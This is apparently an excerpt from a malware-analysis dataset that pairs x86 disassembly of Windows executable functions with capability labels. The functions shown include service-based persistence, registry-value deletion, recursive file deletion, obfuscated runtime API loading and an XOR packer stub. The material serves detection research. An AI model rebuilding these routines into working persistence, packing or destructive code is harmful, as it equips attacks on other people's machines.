joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404800
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
sub esp, 8
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x40481c
mov esp, ebp
pop ebp
ret
add dword [ebp + 0x10], 5
push ebx
push esi
mov esi, dword [ebp + 8]
lea ebx, [esi + ecx - 4]
push edi
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 8], ebx
mov esi, dword [ebp + 8]
lea edi, [eax + esi]
cmp edi, ebx
jae 0x40484d
mov edi, edi
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x40484d
inc edi
cmp edi, ebx
jb 0x404840
mov eax, edi
sub eax, esi
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp edi, ebx
jae 0x404972
cmp ecx, 3
jbe 0x40486a
xor esi, esi
mov dword [ebp + 0xc], esi
jmp 0x4048ad
dec ecx
shl edx, cl
and edx, 7
mov dword [ebp + 0xc], edx
je 0x4048aa
mov ecx, edx
movzx edx, byte [ecx + 0x40d168]
mov esi, edi
sub esi, edx
cmp byte [ecx + 0x40d160], 0
mov dl, byte [esi + 4]
je 0x404897
test dl, dl
je 0x404897
cmp dl, 0xff
jne 0x4048aa
and ecx, 3
add ecx, ecx
or ecx, 1
mov dword [ebp - 4], eax
mov dword [ebp + 0xc], ecx
inc eax
mov edx, ecx
jmp 0x404834
mov esi, dword [ebp + 0xc]
mov cl, byte [edi + 4]
mov dword [ebp - 4], eax
test cl, cl
je 0x4048cf
cmp cl, 0xff
je 0x4048cf
and esi, 3
add esi, esi
or esi, 1
mov dword [ebp + 0xc], esi
inc eax
mov edx, esi
jmp 0x404834
movzx edx, cl
movzx ecx, byte [edi + 3]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 2]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 1]
shl edx, 8
or edx, ecx
lea ecx, [ecx]
cmp dword [ebp + 0x18], 0
je 0x4048fe
lea ebx, [edx + eax]
add ebx, dword [ebp + 0x10]
jmp 0x404905
sub edx, eax
sub edx, dword [ebp + 0x10]
mov ebx, edx
test esi, esi
je 0x404942
movzx esi, byte [esi + 0x40d168]
add esi, esi
add esi, esi
add esi, esi
mov ecx, 0x18
sub ecx, esi
mov edx, ebx
shr edx, cl
mov cl, dl
test cl, cl
je 0x40492c
cmp cl, 0xff
jne 0x404942
mov ecx, 0x20
sub ecx, esi
mov esi, dword [ebp + 0xc]
mov edx, 1
shl edx, cl
dec edx
xor edx, ebx
jmp 0x4048f0
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov edx, ebx
shr edx, 0x10
mov ecx, ebx
shr ecx, 8
mov byte [edi + 3], dl
mov edx, dword [ebp + 0xc]
mov byte [edi + 1], bl
mov ebx, dword [ebp - 8]
mov byte [edi + 2], cl
add eax, 5
jmp 0x404834
pop edi
pop esi
pop ebx
cmp ecx, 3
jbe 0x404985
mov ecx, dword [ebp + 0x14]
xor edx, edx
mov dword [ecx], edx
mov esp, ebp
pop ebp
ret
dec ecx
shl edx, cl
mov ecx, dword [ebp + 0x14]
and edx, 7
mov dword [ecx], edx
mov esp, ebp
pop ebp
ret
Function at 0x406a60
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov eax, dword [0x410058]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, esi
push edi
xor edi, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x406a80
sub eax, edx
sar eax, 1
lea ebx, [esi + eax*2]
mov ecx, 0x40d1c8
mov edx, ebx
sub edx, ecx
jmp 0x406aa0
movzx eax, word [ecx]
mov word [edx + ecx], ax
add ecx, 2
test ax, ax
jne 0x406aa0
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 0x258], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x406af0
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407825
mov esp, ebp
pop ebp
ret
mov ecx, 0x40d1c4
lea eax, [ebp - 0x228]
jmp 0x406b00
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x406b26
test dx, dx
je 0x406b22
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x406b26
add eax, 4
add ecx, 4
test dx, dx
jne 0x406b00
xor eax, eax
jmp 0x406b2b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406bdf
mov ecx, 0x40d1bc
lea eax, [ebp - 0x228]
mov edi, edi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x406b66
test dx, dx
je 0x406b62
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x406b66
add eax, 4
add ecx, 4
test dx, dx
jne 0x406b40
xor eax, eax
jmp 0x406b6b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x406bdf
lea eax, [ebp - 0x228]
mov edx, ebx
mov ecx, eax
sub edx, ecx
jmp 0x406b80
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x406b80
test byte [ebp - 0x254], 0x10
je 0x406bbf
lea edi, [esi - 2]
jmp 0x406ba0
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x406ba0
mov edx, dword [0x40d1b8]
push esi
mov dword [edi], edx
call fcn.00406a60
add esp, 4
jmp 0x406bd9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x406bdb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x406c0a
mov ecx, dword [ebp - 0x258]
lea eax, [ebp - 0x254]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x406af0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp edi, 0x12
jne 0x406c0a
xor edi, edi
mov eax, dword [ebp - 0x258]
xor edx, edx
push eax
mov word [ebx], dx
call dword [sym.imp.KERNEL32.dll_FindClose]
test edi, edi
jne 0x406c33
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x406c33
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407825
mov esp, ebp
pop ebp
ret
Function at 0x407825
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410058]
jne 0x40782f
repz ret
jmp fcn.0040895d

Function at 0x40aedc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x410058]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00409593
and dword [ebp - 0x14], 0
cmp dword [0x4117f0], 0
mov dword [ebp - 0x18], eax
jne 0x40af8f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b037
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40b037
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x4117f0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x4117f4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x4117f8], eax
call edi
push eax
call esi
mov dword [0x411800], eax
test eax, eax
je 0x40af8f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x4117fc], eax
mov eax, dword [0x4117fc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40afe8
cmp dword [0x411800], ecx
je 0x40afe8
push eax
call esi
push dword [0x411800]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40afe8
test ebx, ebx
je 0x40afe8
call edi
test eax, eax
je 0x40afdf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40afdf
test byte [ebp - 8], 1
jne 0x40afe8
or dword [ebp + 0x10], 0x200000
jmp 0x40b01b
mov eax, dword [0x4117f4]
cmp eax, dword [ebp - 0x18]
je 0x40b01b
push eax
call esi
test eax, eax
je 0x40b01b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b01b
mov eax, dword [0x4117f8]
cmp eax, dword [ebp - 0x18]
je 0x40b01b
push eax
call esi
test eax, eax
je 0x40b01b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4117f0]
call esi
test eax, eax
je 0x40b037
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b039
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00407825
leave
ret
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push str.6NxRtZ__nBVtNvNx__BLXNv_
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c438
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str.6_HRpB
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str.4ZBvxZt6ZtBVZ0tNVZvv
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x40f967
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c438
lea eax, [ebp - 0x814]
push eax
call fcn.0040c438
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push str.____
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491ef8], 0
jne 0x40492a
push 4
push str.6NxRtZ__nBVtNvNx__BLXNv_
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491ae8
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491efc], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str._BLF
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x4919e4
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491bec
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4050fd
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.004074b0
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.004046ab
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405153
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x4051ae
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051dd
xor eax, eax
jmp 0x4052eb
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052e0
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405095
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.004074b0
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.004073c0
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405095
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x4052b3
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push str.4Rt
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491df4
call fcn.00407360
push esi
push edi
push 0x491cf0
call fcn.00407360
push esi
push edi
push 0x491bec
call fcn.00407360
push esi
push edi
push 0x491ae8
call fcn.00407360
push esi
push edi
push 0x4919e4
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1f16
push 0x40e0d4
call fcn.00403529
push 0x491f00
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491f08], edi
mov dword [0x491ef8], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491f08], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x4919e0], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str.6_HRpB
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.4ZBvxZt6ZtBVZ0tNVZvv
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491f10], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491f0c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f14], eax
push 3
push str.6_HRpB
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491f18], eax
mov edi, str.BLBLZx
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491f1c], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058ed
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x4059b1
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.0040752b
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
and byte [ebp - 0x21b], 0
lea eax, [ebp - 0x21f]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004073d0
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.004071e0
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x4059b5
call fcn.00401808
xor eax, eax
jmp 0x405a09
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040785b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046d7
pop ecx
test eax, eax
pop ecx
je 0x405a07
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405ee4
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x40f949
call fcn.00403434
pop ecx
pop ecx
push eax
push str.6NxRtZ__nBVtNvNx__BLXNv_
push closesocket
call fcn.004044e4
lea eax, [ebp - 0x10c]
push eax
call fcn.00405ca4
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.0040773e
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f8e
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f8e
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e8c
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405f48
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x2034
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491bec
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1f2a
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491ef8], ebx
mov edi, 0x4919e4
je 0x406964
push esi
push edi
push 0x491ae8
push closesocket
call fcn.00404540
push 1
push str.6_HRpB
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.4ZBvxZt6ZtBVZ0tNVZvv
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491ef8], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491f00], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2034
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7f4b20be
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1aed212a
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219